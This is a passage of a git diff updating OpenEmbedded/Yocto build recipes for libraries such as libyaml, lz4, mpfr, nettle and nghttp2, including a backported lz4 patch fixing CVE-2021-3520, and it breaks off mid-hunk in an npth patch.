+UPSTREAM_CHECK_REGEX = "libxslt-(?P<pver>\d+(\.\d+)+)\.tar"
+
+S = "${WORKDIR}/libxslt-${PV}"
+
+BINCONFIG = "${bindir}/xslt-config"
+
+inherit autotools pkgconfig binconfig-disabled lib_package multilib_header
+
+do_configure:prepend () {
+ # We don't DEPEND on binutils for ansidecl.h so ensure we don't use the header.
+ # This can be removed when upgrading to 1.1.34.
+ sed -i -e 's/ansidecl.h//' ${S}/configure.ac
+
+ # The timestamps in the 1.1.28 tarball are messed up causing this file to
+ # appear out of date. Touch it so that we don't try to regenerate it.
+ touch ${S}/doc/xsltproc.1
+}
+
+EXTRA_OECONF = "--without-python --without-debug --without-mem-debug --without-crypto --with-html-subdir=${BPN}"
+# older versions of this recipe had ${PN}-utils
+RPROVIDES:${PN}-bin += "${PN}-utils"
+RCONFLICTS:${PN}-bin += "${PN}-utils"
+RREPLACES:${PN}-bin += "${PN}-utils"
+
+# This is only needed until libxml can load the relocated catalog itself
+do_install:append:class-native () {
+ create_wrapper ${D}/${bindir}/xsltproc XML_CATALOG_FILES=${sysconfdir}/xml/catalog
+}
+
+do_install:append () {
+ oe_multilib_header libxslt/xsltconfig.h
+}
+
+FILES:${PN} += "${libdir}/libxslt-plugins"
+FILES:${PN}-dev += "${libdir}/xsltConf.sh"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libyaml/libyaml_0.2.2.bb b/meta/recipes-support/libyaml/libyaml_0.2.2.bb
deleted file mode 100644
index fbd199205f..0000000000
--- a/meta/recipes-support/libyaml/libyaml_0.2.2.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "LibYAML is a YAML 1.1 parser and emitter written in C."
-DESCRIPTION = "LibYAML is a C library for parsing and emitting data in YAML 1.1, \
-a human-readable data serialization format. "
-HOMEPAGE = "http://pyyaml.org/wiki/LibYAML"
-SECTION = "libs/devel"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=a76b4c69bfcf82313bbdc0393b04438a"
-
-SRC_URI = "http://pyyaml.org/download/libyaml/yaml-${PV}.tar.gz"
-SRC_URI[md5sum] = "54bf11ccb8bc488b5b3bec931f5b70dc"
-SRC_URI[sha256sum] = "4a9100ab61047fd9bd395bcef3ce5403365cafd55c1e0d0299cde14958e47be9"
-
-S = "${WORKDIR}/yaml-${PV}"
-
-inherit autotools
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libyaml/libyaml_0.2.5.bb b/meta/recipes-support/libyaml/libyaml_0.2.5.bb
new file mode 100644
index 0000000000..4cb5717ece
--- /dev/null
+++ b/meta/recipes-support/libyaml/libyaml_0.2.5.bb
@@ -0,0 +1,21 @@
+SUMMARY = "LibYAML is a YAML 1.1 parser and emitter written in C."
+DESCRIPTION = "LibYAML is a C library for parsing and emitting data in YAML 1.1, \
+a human-readable data serialization format. "
+HOMEPAGE = "https://pyyaml.org/wiki/LibYAML"
+SECTION = "libs/devel"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://License;md5=7bbd28caa69f81f5cd5f48647236663d"
+
+SRC_URI = "https://pyyaml.org/download/libyaml/yaml-${PV}.tar.gz"
+SRC_URI[md5sum] = "bb15429d8fb787e7d3f1c83ae129a999"
+SRC_URI[sha256sum] = "c642ae9b75fee120b2d96c712538bd2cf283228d2337df2cf2988e3c02678ef4"
+
+S = "${WORKDIR}/yaml-${PV}"
+
+inherit autotools
+
+DISABLE_STATIC:class-nativesdk = ""
+DISABLE_STATIC:class-native = ""
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/lz4/files/CVE-2021-3520.patch b/meta/recipes-support/lz4/files/CVE-2021-3520.patch
new file mode 100644
index 0000000000..5ac8f6691f
--- /dev/null
+++ b/meta/recipes-support/lz4/files/CVE-2021-3520.patch
@@ -0,0 +1,27 @@
+From 8301a21773ef61656225e264f4f06ae14462bca7 Mon Sep 17 00:00:00 2001
+From: Jasper Lievisse Adriaanse <j@jasper.la>
+Date: Fri, 26 Feb 2021 15:21:20 +0100
+Subject: [PATCH] Fix potential memory corruption with negative memmove() size
+
+Upstream-Status: Backport
+https://github.com/lz4/lz4/commit/8301a21773ef61656225e264f4f06ae14462bca7#diff-7055e9cf14c488aea9837aaf9f528b58ee3c22988d7d0d81d172ec62d94a88a7
+CVE: CVE-2021-3520
+Signed-off-by: Armin Kuster <akuster@mvista.com>
+
+---
+ lib/lz4.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+Index: git/lib/lz4.c
+===================================================================
+--- git.orig/lib/lz4.c
++++ git/lib/lz4.c
+@@ -1665,7 +1665,7 @@ LZ4_decompress_generic(
+ const size_t dictSize /* note : = 0 if noDict */
+ )
+ {
+- if (src == NULL) { return -1; }
++ if ((src == NULL) || (outputSize < 0)) { return -1; }
+
+ { const BYTE* ip = (const BYTE*) src;
+ const BYTE* const iend = ip + srcSize;
diff --git a/meta/recipes-support/lz4/files/run-ptest b/meta/recipes-support/lz4/files/run-ptest
deleted file mode 100644
index d3bfc49f1c..0000000000
--- a/meta/recipes-support/lz4/files/run-ptest
+++ /dev/null
@@ -1,43 +0,0 @@
-#!/bin/sh
-cd testsuite
-
-echo -n "---- test-lz4 ----"
-make -C tests test-lz4 > /dev/null 2>&1
-
-if [ $? -eq 0 ]; then
- echo "PASS"
-else
- echo "FAIL"
-fi
-
-echo -n "---- test-fasttest ----"
-make -C tests test-fasttest > /dev/null 2>&1
-if [ $? -eq 0 ]; then
- echo "PASS"
-else
- echo "FAIL"
-fi
-
-echo -n "---- test-frametest ----"
-make -C tests test-frametest > /dev/null 2>&1
-if [ $? -eq 0 ]; then
- echo "PASS"
-else
- echo "FAIL"
-fi
-
-echo -n "---- test-fullbench ----"
-make -C tests test-fullbench > /dev/null 2>&1
-if [ $? -eq 0 ]; then
- echo "PASS"
-else
- echo "FAIL"
-fi
-
-echo -n "---- test-fuzzer ----"
-make -C tests test-fuzzer > /dev/null 2>&1
-if [ $? -eq 0 ]; then
- echo "PASS"
-else
- echo "FAIL"
-fi
diff --git a/meta/recipes-support/lz4/lz4_1.9.2.bb b/meta/recipes-support/lz4/lz4_1.9.2.bb
deleted file mode 100644
index ed4452c82e..0000000000
--- a/meta/recipes-support/lz4/lz4_1.9.2.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "Extremely Fast Compression algorithm"
-DESCRIPTION = "LZ4 is a very fast lossless compression algorithm, providing compression speed at 400 MB/s per core, scalable with multi-cores CPU. It also features an extremely fast decoder, with speed in multiple GB/s per core, typically reaching RAM speed limits on multi-core systems."
-
-LICENSE = "BSD | BSD-2-Clause | GPL-2.0"
-LIC_FILES_CHKSUM = "file://lib/LICENSE;md5=ebc2ea4814a64de7708f1571904b32cc \
- file://programs/COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://LICENSE;md5=d57c0d21cb917fb4e0af2454aa48b956 \
- "
-
-PE = "1"
-
-SRCREV = "fdf2ef5809ca875c454510610764d9125ef2ebbd"
-
-SRC_URI = "git://github.com/lz4/lz4.git \
- file://run-ptest \
- "
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>.*)"
-
-S = "${WORKDIR}/git"
-
-# Fixed in r118, which is larger than the current version.
-CVE_CHECK_WHITELIST += "CVE-2014-4715"
-
-EXTRA_OEMAKE = "PREFIX=${prefix} CC='${CC}' DESTDIR=${D} LIBDIR=${libdir} INCLUDEDIR=${includedir}"
-
-do_install() {
- oe_runmake install
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/lz4/lz4_1.9.3.bb b/meta/recipes-support/lz4/lz4_1.9.3.bb
new file mode 100644
index 0000000000..129a86b681
--- /dev/null
+++ b/meta/recipes-support/lz4/lz4_1.9.3.bb
@@ -0,0 +1,31 @@
+SUMMARY = "Extremely Fast Compression algorithm"
+DESCRIPTION = "LZ4 is a very fast lossless compression algorithm, providing compression speed at 400 MB/s per core, scalable with multi-cores CPU. It also features an extremely fast decoder, with speed in multiple GB/s per core, typically reaching RAM speed limits on multi-core systems."
+HOMEPAGE = "https://github.com/lz4/lz4"
+
+LICENSE = "BSD-2-Clause | GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://lib/LICENSE;md5=ebc2ea4814a64de7708f1571904b32cc \
+ file://programs/COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://LICENSE;md5=d57c0d21cb917fb4e0af2454aa48b956 \
+ "
+
+PE = "1"
+
+SRCREV = "d44371841a2f1728a3f36839fd4b7e872d0927d3"
+
+SRC_URI = "git://github.com/lz4/lz4.git;branch=release;protocol=https \
+ file://CVE-2021-3520.patch \
+ "
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>.*)"
+
+S = "${WORKDIR}/git"
+
+# Fixed in r118, which is larger than the current version.
+CVE_CHECK_IGNORE += "CVE-2014-4715"
+
+EXTRA_OEMAKE = "PREFIX=${prefix} CC='${CC}' CFLAGS='${CFLAGS}' DESTDIR=${D} LIBDIR=${libdir} INCLUDEDIR=${includedir} BUILD_STATIC=no"
+
+do_install() {
+ oe_runmake install
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/lzo/lzo_2.10.bb b/meta/recipes-support/lzo/lzo_2.10.bb
index 8eefec3cc9..195c2f2939 100644
--- a/meta/recipes-support/lzo/lzo_2.10.bb
+++ b/meta/recipes-support/lzo/lzo_2.10.bb
@@ -1,7 +1,9 @@
SUMMARY = "Lossless data compression library"
+DESCRIPTION = "A portable lossless data compression library written in \
+ANSI C that offers pretty fast compression and *extremely* fast decompression. "
HOMEPAGE = "http://www.oberhumer.com/opensource/lzo/"
SECTION = "libs"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://src/lzo_init.c;beginline=5;endline=25;md5=9ae697ca01829b0a383c5d2d163e0108"
@@ -16,6 +18,8 @@ SRC_URI[sha256sum] = "c0f892943208266f9b6543b3ae308fab6284c5c90e627931446fb49b42
inherit autotools ptest
+CVE_PRODUCT = "lzo oberhumer:lzo2"
+
EXTRA_OECONF = "--enable-shared"
do_install_ptest() {
diff --git a/meta/recipes-support/lzop/lzop_1.04.bb b/meta/recipes-support/lzop/lzop_1.04.bb
index b50c230437..d9b3524b67 100644
--- a/meta/recipes-support/lzop/lzop_1.04.bb
+++ b/meta/recipes-support/lzop/lzop_1.04.bb
@@ -5,9 +5,10 @@ gzip are much higher compression and decompression speed at the cost of some \n\
compression ratio. The lzop compression utility was designed with the goals \n\
of reliability, speed, portability and with reasonable drop-in compatibility \n\
to gzip."
+HOMEPAGE = "http://www.lzop.org/"
DEPENDS += "lzo"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://src/lzop.c;beginline=5;endline=21;md5=23d767de7754eb24b9e900b025cf7fc8"
@@ -19,7 +20,7 @@ SRC_URI[sha256sum] = "7e72b62a8a60aff5200a047eea0773a8fb205caf7acbe1774d95147f30
inherit autotools
-do_configure_prepend () {
+do_configure:prepend () {
install -Dm 0644 ${WORKDIR}/acinclude.m4 ${S}/acinclude.m4
}
diff --git a/meta/recipes-support/mpfr/mpfr_4.0.2.bb b/meta/recipes-support/mpfr/mpfr_4.0.2.bb
deleted file mode 100644
index 03059174ee..0000000000
--- a/meta/recipes-support/mpfr/mpfr_4.0.2.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "C library for multiple-precision floating-point computations with exact rounding"
-HOMEPAGE = "http://www.mpfr.org/"
-LICENSE = "LGPLv3+"
-SECTION = "devel"
-
-inherit autotools texinfo
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
- file://COPYING.LESSER;md5=3000208d539ec061b899bce1d9ce9404 \
- "
-DEPENDS = "gmp autoconf-archive"
-
-SRC_URI = "http://www.mpfr.org/mpfr-${PV}/mpfr-${PV}.tar.xz"
-SRC_URI[md5sum] = "320fbc4463d4c8cb1e566929d8adc4f8"
-SRC_URI[sha256sum] = "1d3be708604eae0e42d578ba93b390c2a145f17743a744d8f3f8c2ad5855a38a"
-
-UPSTREAM_CHECK_URI = "http://www.mpfr.org/mpfr-current/"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/mpfr/mpfr_4.1.0.bb b/meta/recipes-support/mpfr/mpfr_4.1.0.bb
new file mode 100644
index 0000000000..2121dad57c
--- /dev/null
+++ b/meta/recipes-support/mpfr/mpfr_4.1.0.bb
@@ -0,0 +1,19 @@
+SUMMARY = "C library for multiple-precision floating-point computations with exact rounding"
+DESCRIPTION = "The GNU Multiple Precision Floating-Point Reliable Library (GNU MPFR) is a GNU portable C library for arbitrary-precision binary floating-point computation with correct rounding, based on GNU Multi-Precision Library. MPFR's computation is both efficient and has a well-defined semantics: the functions are completely specified on all the possible operands and the results do not depend on the platform."
+HOMEPAGE = "https://www.mpfr.org/"
+LICENSE = "LGPL-3.0-or-later"
+SECTION = "devel"
+
+inherit autotools texinfo
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://COPYING.LESSER;md5=3000208d539ec061b899bce1d9ce9404 \
+ "
+DEPENDS = "gmp autoconf-archive"
+
+SRC_URI = "https://www.mpfr.org/mpfr-${PV}/mpfr-${PV}.tar.xz"
+SRC_URI[sha256sum] = "0c98a3f1732ff6ca4ea690552079da9c597872d30e96ec28414ee23c95558a7f"
+
+UPSTREAM_CHECK_URI = "http://www.mpfr.org/mpfr-current/"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/nettle/nettle-3.5.1/Add-target-to-only-build-tests-not-run-them.patch b/meta/recipes-support/nettle/nettle-3.5.1/Add-target-to-only-build-tests-not-run-them.patch
deleted file mode 100644
index c007060ee6..0000000000
--- a/meta/recipes-support/nettle/nettle-3.5.1/Add-target-to-only-build-tests-not-run-them.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-Add target to only build tests (not run them)
-
-Not sending upstream as this is only a start of a solution to
-installable tests: It's useful for us already as is.
-
-Upstream-Status: Inappropriate [not a complete solution]
-
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Refactored for 3.4
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
-Index: nettle-3.4/Makefile.in
-===================================================================
---- nettle-3.4.orig/Makefile.in
-+++ nettle-3.4/Makefile.in
-@@ -55,6 +55,9 @@ clean distclean mostlyclean maintainer-c
- echo "Making $@ in $$d" ; (cd $$d && $(MAKE) $@); done
- $(MAKE) $@-here
-
-+buildtest:
-+ echo "Making $@ in testsuite" ; (cd testsuite && $(MAKE) $@)
-+
- check-here:
- true
-
-Index: nettle-3.4/testsuite/Makefile.in
-===================================================================
---- nettle-3.4.orig/testsuite/Makefile.in
-+++ nettle-3.4/testsuite/Makefile.in
-@@ -131,6 +131,8 @@ $(TARGETS) $(EXTRA_TARGETS): testutils.$
- # data.
- VALGRIND = valgrind --error-exitcode=1 --leak-check=full --show-reachable=yes @IF_ASM@ --partial-loads-ok=yes
-
-+buildtest: $(TS_ALL)
-+
- # The PATH update is for windows dlls, DYLD_LIBRARY_PATH is for OSX.
- check: $(TS_ALL)
- LD_LIBRARY_PATH=../.lib PATH="../.lib:$$PATH" DYLD_LIBRARY_PATH=../.lib \
diff --git a/meta/recipes-support/nettle/nettle-3.5.1/dlopen-test.patch b/meta/recipes-support/nettle/nettle-3.5.1/dlopen-test.patch
deleted file mode 100644
index fea5774206..0000000000
--- a/meta/recipes-support/nettle/nettle-3.5.1/dlopen-test.patch
+++ /dev/null
@@ -1,21 +0,0 @@
-Remove the relative path for libnettle.so so the test
-program can find it.
-Relative paths are not suitable, as the folder strucure for ptest
-is different from the one expected by the nettle testsuite.
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
-Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
-
---- a/testsuite/dlopen-test.c 2016-10-01 00:28:38.000000000 -0700
-+++ b/testsuite/dlopen-test.c 2017-10-13 11:08:57.227572860 -0700
-@@ -9,7 +9,7 @@
- main (int argc UNUSED, char **argv UNUSED)
- {
- #if HAVE_LIBDL
-- void *handle = dlopen ("../libnettle.so", RTLD_NOW);
-+ void *handle = dlopen ("libnettle.so", RTLD_NOW);
- int (*get_version)(void);
- if (!handle)
- {
diff --git a/meta/recipes-support/nettle/nettle/Add-target-to-only-build-tests-not-run-them.patch b/meta/recipes-support/nettle/nettle/Add-target-to-only-build-tests-not-run-them.patch
new file mode 100644
index 0000000000..e3f5c6de7d
--- /dev/null
+++ b/meta/recipes-support/nettle/nettle/Add-target-to-only-build-tests-not-run-them.patch
@@ -0,0 +1,45 @@
+Add target to only build tests (not run them)
+
+Not sending upstream as this is only a start of a solution to
+installable tests: It's useful for us already as is.
+
+Upstream-Status: Inappropriate [not a complete solution]
+
+Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
+Refactored for 3.4
+Signed-off-by: Armin Kuster <akuster@mvista.com>
+---
+ Makefile.in | 3 +++
+ testsuite/Makefile.in | 2 ++
+ 2 files changed, 5 insertions(+)
+
+diff --git a/Makefile.in b/Makefile.in
+index e5ccfc7..15c9275 100644
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -52,6 +52,9 @@ clean distclean mostlyclean maintainer-clean tags:
+ echo "Making $@ in $$d" ; (cd $$d && $(MAKE) $@); done
+ $(MAKE) $@-here
+
++buildtest:
++ echo "Making $@ in testsuite" ; (cd testsuite && $(MAKE) $@)
++
+ check-here:
+ true
+
+diff --git a/testsuite/Makefile.in b/testsuite/Makefile.in
+index 3f5e5f6..8fd68a3 100644
+--- a/testsuite/Makefile.in
++++ b/testsuite/Makefile.in
+@@ -122,6 +122,8 @@ $(TARGETS) $(EXTRA_TARGETS): testutils.$(OBJEXT) ../nettle-internal.$(OBJEXT) \
+ # data.
+ VALGRIND = valgrind --error-exitcode=1 --leak-check=full --show-reachable=yes @IF_ASM@ --partial-loads-ok=yes
+
++buildtest: $(TS_ALL)
++
+ check: $(TS_ALL)
+ TEST_SHLIB_DIR="$(TEST_SHLIB_DIR)" \
+ srcdir="$(srcdir)" \
+--
+2.17.1
+
diff --git a/meta/recipes-support/nettle/nettle-3.5.1/check-header-files-of-openssl-only-if-enable_.patch b/meta/recipes-support/nettle/nettle/check-header-files-of-openssl-only-if-enable_.patch
index d5f266681e..d5f266681e 100644
--- a/meta/recipes-support/nettle/nettle-3.5.1/check-header-files-of-openssl-only-if-enable_.patch
+++ b/meta/recipes-support/nettle/nettle/check-header-files-of-openssl-only-if-enable_.patch
diff --git a/meta/recipes-support/nettle/nettle/dlopen-test.patch b/meta/recipes-support/nettle/nettle/dlopen-test.patch
new file mode 100644
index 0000000000..ab9b91f88b
--- /dev/null
+++ b/meta/recipes-support/nettle/nettle/dlopen-test.patch
@@ -0,0 +1,29 @@
+Remove the relative path for libnettle.so so the test
+program can find it.
+Relative paths are not suitable, as the folder strucure for ptest
+is different from the one expected by the nettle testsuite.
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ testsuite/dlopen-test.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/testsuite/dlopen-test.c b/testsuite/dlopen-test.c
+index 4265bf7..1a25d17 100644
+--- a/testsuite/dlopen-test.c
++++ b/testsuite/dlopen-test.c
+@@ -15,7 +15,7 @@ int
+ main (int argc UNUSED, char **argv UNUSED)
+ {
+ #if HAVE_LIBDL
+- void *handle = dlopen ("../libnettle." SO_EXT, RTLD_NOW);
++ void *handle = dlopen ("libnettle.so", RTLD_NOW);
+ int (*get_version)(void);
+ if (!handle)
+ {
+--
+2.17.1
+
diff --git a/meta/recipes-support/nettle/nettle-3.5.1/run-ptest b/meta/recipes-support/nettle/nettle/run-ptest
index b90bed66d2..b90bed66d2 100644
--- a/meta/recipes-support/nettle/nettle-3.5.1/run-ptest
+++ b/meta/recipes-support/nettle/nettle/run-ptest
diff --git a/meta/recipes-support/nettle/nettle_3.5.1.bb b/meta/recipes-support/nettle/nettle_3.5.1.bb
deleted file mode 100644
index d92db0ef95..0000000000
--- a/meta/recipes-support/nettle/nettle_3.5.1.bb
+++ /dev/null
@@ -1,55 +0,0 @@
-SUMMARY = "A low level cryptographic library"
-HOMEPAGE = "http://www.lysator.liu.se/~nisse/nettle/"
-SECTION = "libs"
-LICENSE = "LGPLv3+ | GPLv2+"
-
-LIC_FILES_CHKSUM = "file://COPYING.LESSERv3;md5=6a6a8e020838b23406c81b19c1d46df6 \
- file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://serpent-decrypt.c;beginline=14;endline=36;md5=ca0d220bc413e1842ecc507690ce416e \
- file://serpent-set-key.c;beginline=14;endline=36;md5=ca0d220bc413e1842ecc507690ce416e"
-
-DEPENDS += "gmp"
-
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz \
- file://Add-target-to-only-build-tests-not-run-them.patch \
- file://run-ptest \
- file://check-header-files-of-openssl-only-if-enable_.patch \
- "
-
-SRC_URI_append_class-target = "\
- file://dlopen-test.patch \
- "
-
-SRC_URI[md5sum] = "0e5707b418c3826768d41130fbe4ee86"
-SRC_URI[sha256sum] = "75cca1998761b02e16f2db56da52992aef622bf55a3b45ec538bc2eedadc9419"
-
-UPSTREAM_CHECK_REGEX = "nettle-(?P<pver>\d+(\.\d+)+)\.tar"
-
-inherit autotools ptest multilib_header
-
-EXTRA_AUTORECONF += "--exclude=aclocal"
-
-EXTRA_OECONF = "--disable-openssl"
-CFLAGS_append = " -std=gnu99"
-
-do_compile_ptest() {
- oe_runmake buildtest
-}
-
-do_install_append() {
- oe_multilib_header nettle/version.h
-}
-
-do_install_ptest() {
- install -d ${D}${PTEST_PATH}/testsuite/
- install ${S}/testsuite/gold-bug.txt ${D}${PTEST_PATH}/testsuite/
- install ${S}/testsuite/*-test ${D}${PTEST_PATH}/testsuite/
- # tools can be found in PATH, not in ../tools/
- sed -i -e 's|../tools/||' ${D}${PTEST_PATH}/testsuite/*-test
- install ${B}/testsuite/*-test ${D}${PTEST_PATH}/testsuite/
-}
-
-RDEPENDS_${PN}-ptest += "${PN}-dev"
-INSANE_SKIP_${PN}-ptest += "dev-deps"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/nettle/nettle_3.7.3.bb b/meta/recipes-support/nettle/nettle_3.7.3.bb
new file mode 100644
index 0000000000..889dc74667
--- /dev/null
+++ b/meta/recipes-support/nettle/nettle_3.7.3.bb
@@ -0,0 +1,57 @@
+SUMMARY = "A low level cryptographic library"
+DESCRIPTION = "Nettle is a cryptographic library that is designed to fit easily in more or less any context: In crypto toolkits for object-oriented languages (C++, Python, Pike, ...), in applications like LSH or GNUPG, or even in kernel space."
+HOMEPAGE = "http://www.lysator.liu.se/~nisse/nettle/"
+DESCRIPTION = "It tries to solve a problem of providing a common set of \
+cryptographic algorithms for higher-level applications by implementing a \
+context-independent set of cryptographic algorithms"
+SECTION = "libs"
+LICENSE = "LGPL-3.0-or-later | GPL-2.0-or-later"
+
+LIC_FILES_CHKSUM = "file://COPYING.LESSERv3;md5=6a6a8e020838b23406c81b19c1d46df6 \
+ file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://serpent-decrypt.c;beginline=14;endline=36;md5=ca0d220bc413e1842ecc507690ce416e \
+ file://serpent-set-key.c;beginline=14;endline=36;md5=ca0d220bc413e1842ecc507690ce416e"
+
+DEPENDS += "gmp"
+
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz \
+ file://Add-target-to-only-build-tests-not-run-them.patch \
+ file://run-ptest \
+ file://check-header-files-of-openssl-only-if-enable_.patch \
+ "
+
+SRC_URI:append:class-target = "\
+ file://dlopen-test.patch \
+ "
+
+SRC_URI[sha256sum] = "661f5eb03f048a3b924c3a8ad2515d4068e40f67e774e8a26827658007e3bcf0"
+
+UPSTREAM_CHECK_REGEX = "nettle-(?P<pver>\d+(\.\d+)+)\.tar"
+
+inherit autotools ptest multilib_header
+
+EXTRA_AUTORECONF += "--exclude=aclocal"
+
+EXTRA_OECONF = "--disable-openssl"
+
+do_compile_ptest() {
+ oe_runmake buildtest
+}
+
+do_install:append() {
+ oe_multilib_header nettle/version.h
+}
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/testsuite/
+ install ${S}/testsuite/gold-bug.txt ${D}${PTEST_PATH}/testsuite/
+ install ${S}/testsuite/*-test ${D}${PTEST_PATH}/testsuite/
+ # tools can be found in PATH, not in ../tools/
+ sed -i -e 's|../tools/||' ${D}${PTEST_PATH}/testsuite/*-test
+ install ${B}/testsuite/*-test ${D}${PTEST_PATH}/testsuite/
+}
+
+RDEPENDS:${PN}-ptest += "${PN}-dev"
+INSANE_SKIP:${PN}-ptest += "dev-deps"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/nghttp2/nghttp2/0001-fetch-ocsp-response-use-python3.patch b/meta/recipes-support/nghttp2/nghttp2/0001-fetch-ocsp-response-use-python3.patch
new file mode 100644
index 0000000000..e4db09638f
--- /dev/null
+++ b/meta/recipes-support/nghttp2/nghttp2/0001-fetch-ocsp-response-use-python3.patch
@@ -0,0 +1,27 @@
+From 73ec79432fc557a8be4f1500982b1c0f5fdf12a9 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Andr=C3=A9=20Draszik?= <andre.draszik@jci.com>
+Date: Thu, 7 Nov 2019 09:58:52 +0000
+Subject: [PATCH] fetch-ocsp-response: use python3
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Upstream-Status: Inappropriate [oe specific]
+Signed-off-by: André Draszik <git@andred.net>
+---
+ script/fetch-ocsp-response | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/script/fetch-ocsp-response b/script/fetch-ocsp-response
+index 0ff7461..185116b 100755
+--- a/script/fetch-ocsp-response
++++ b/script/fetch-ocsp-response
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+
+ # nghttp2 - HTTP/2 C Library
+--
+2.23.0.rc1
+
diff --git a/meta/recipes-support/nghttp2/nghttp2_1.47.0.bb b/meta/recipes-support/nghttp2/nghttp2_1.47.0.bb
new file mode 100644
index 0000000000..58ce08084d
--- /dev/null
+++ b/meta/recipes-support/nghttp2/nghttp2_1.47.0.bb
@@ -0,0 +1,35 @@
+SUMMARY = "HTTP/2 C Library and tools"
+HOMEPAGE = "https://nghttp2.org/"
+SECTION = "libs"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=764abdf30b2eadd37ce47dcbce0ea1ec"
+
+UPSTREAM_CHECK_URI = "https://github.com/nghttp2/nghttp2/releases"
+
+SRC_URI = "\
+ https://github.com/nghttp2/nghttp2/releases/download/v${PV}/nghttp2-${PV}.tar.xz \
+ file://0001-fetch-ocsp-response-use-python3.patch \
+"
+SRC_URI[sha256sum] = "68271951324554c34501b85190f22f2221056db69f493afc3bbac8e7be21e7cc"
+
+inherit cmake manpages python3native
+PACKAGECONFIG[manpages] = ""
+
+# examples are never installed, and don't need to be built in the
+# first place
+EXTRA_OECMAKE = "-DENABLE_EXAMPLES=OFF -DENABLE_APP=OFF -DENABLE_HPACK_TOOLS=OFF"
+
+PACKAGES =+ "lib${BPN} ${PN}-client ${PN}-proxy ${PN}-server"
+
+RDEPENDS:${PN} = "${PN}-client (>= ${PV}) ${PN}-proxy (>= ${PV}) ${PN}-server (>= ${PV})"
+RDEPENDS:${PN}:class-native = ""
+RDEPENDS:${PN}-proxy = "openssl python3-core python3-io python3-shell"
+
+ALLOW_EMPTY:${PN} = "1"
+FILES:${PN} = ""
+FILES:lib${BPN} = "${libdir}/*${SOLIBS}"
+FILES:${PN}-client = "${bindir}/h2load ${bindir}/nghttp"
+FILES:${PN}-proxy = "${bindir}/nghttpx ${datadir}/${BPN}/fetch-ocsp-response"
+FILES:${PN}-server = "${bindir}/nghttpd"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/npth/npth/0001-Revert-Fix-problem-with-regression-tests-on-recent-g.patch b/meta/recipes-support/npth/npth/0001-Revert-Fix-problem-with-regression-tests-on-recent-g.patch
new file mode 100644
index 0000000000..47c426b4a5
--- /dev/null
+++ b/meta/recipes-support/npth/npth/0001-Revert-Fix-problem-with-regression-tests-on-recent-g.patch
@@ -0,0 +1,43 @@
+From e43524868bb4901703d63876f9d49f73ca75b3ab Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 12 May 2021 20:27:52 -0700
+Subject: [PATCH] Revert "Fix problem with regression tests on recent glibc."
+
+This reverts commit 3a9d32eb59194b989656548755066ccd9feb36ac.
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ configure.ac | 8 +++-----
+ 1 file changed, 3 insertions(+), 5 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index 8a9373c..8cda28d 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -284,11 +284,9 @@ AC_TYPE_SSIZE_T
